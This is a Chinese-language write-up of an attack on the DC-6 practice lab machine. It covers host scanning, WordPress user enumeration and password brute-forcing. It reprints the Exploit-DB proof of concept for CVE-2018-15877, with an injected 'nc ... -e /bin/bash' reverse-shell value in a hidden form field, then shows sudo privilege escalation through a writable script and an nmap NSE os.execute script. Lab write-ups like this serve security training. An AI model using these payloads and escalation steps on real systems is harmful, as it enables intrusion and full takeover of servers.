下载地址
下面是作者的提示,和爆破的字典有关
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
配置的环境:
kali:192.168.25.131 DC6-靶机 和 kali 在同一C段
渗透
nmap扫描网段,发现存活主机
nmap -sP 192.168.25.0/24
发现主机 192.168.25.137,判定为DC6-靶机,继续使用nmap获取详细信息
nmap -A -p 1-65535 192.168.25.137
靶机为wordpress系统,有ssh,配置域名解析
wpscan扫描,查找站点的所有用户
wpscan --url http://wordy/ -e
本地wpscan不能用,一直显示如下,浏览器也可以访问- -
参考别人的得到用户名如下
admin sarah graham jens mark
再依据作者的提示生成爆破密码的字典
然后爆破登录页面,用什么都可以 burp hydra msf均可
最后得到账号密码 mark
helpdesk01
wordpress后台默认地址 、/wp-admin 成功登录 普通用户权限
wordpress一般都是插件出问题,发现activity monitor插件,搜索
https://www.exploit-db.com/exploits/45274
<html>
<!-- Wordpress Plainview Activity Monitor RCE
[+] Version: 20161228 and possibly prior
[+] Description: Combine OS Commanding and CSRF to get reverse shell
[+] Author: LydA(c)ric LEFEBVRE
[+] CVE-ID: CVE-2018-15877
[+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
[+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
-->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr|nc 192.168.25.131 4444 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
action修改为对应的ip地址,value 对应值修改成我们想要执行的命令,这里反弹shell~
nc监听
创建html访问点击
成功!
使用Python得到一个交互式的shell
python -c 'import pty;pty.spawn("/bin/bash")'
翻翻目录文件,在/home/mark/stuff里面找到账号密码
graham GSo7isUM1D4
SSH远程连接,成功登陆
ssh [email protected]
最后一步,提权
老样子,sudo看看
发现 backups.sh脚本,且 graham的特权可以以jens用户身份免密码执行/home/jens/backups.sh这个脚本
cat查看,发现为打包压缩命令
查看脚本权限,在当前用户下有读写权限,修改脚本内容
我们在末尾增加/bin/bash,当执行时可以获得jens的shell。
echo "/bin/bash" >>/home/jens/backups.sh
cd /home/jens/
sudo -u jens ./backups.sh
查看jens的特权,发现可以免密码执行/usr/bin/nmap
nmap有执行脚本的功能,通过编写特殊脚本,可以实现利用nmap提权(sudo提权)
利用过程:写入一个执行bash的nmap脚本,运行
echo 'os.execute("/bin/sh")' >get_root.nse
sudo nmap --script=/home/jens/get_root.nse
~下得到flag!
总结:和之前的类似,作者在爆破时还提供字典提示,适合练手~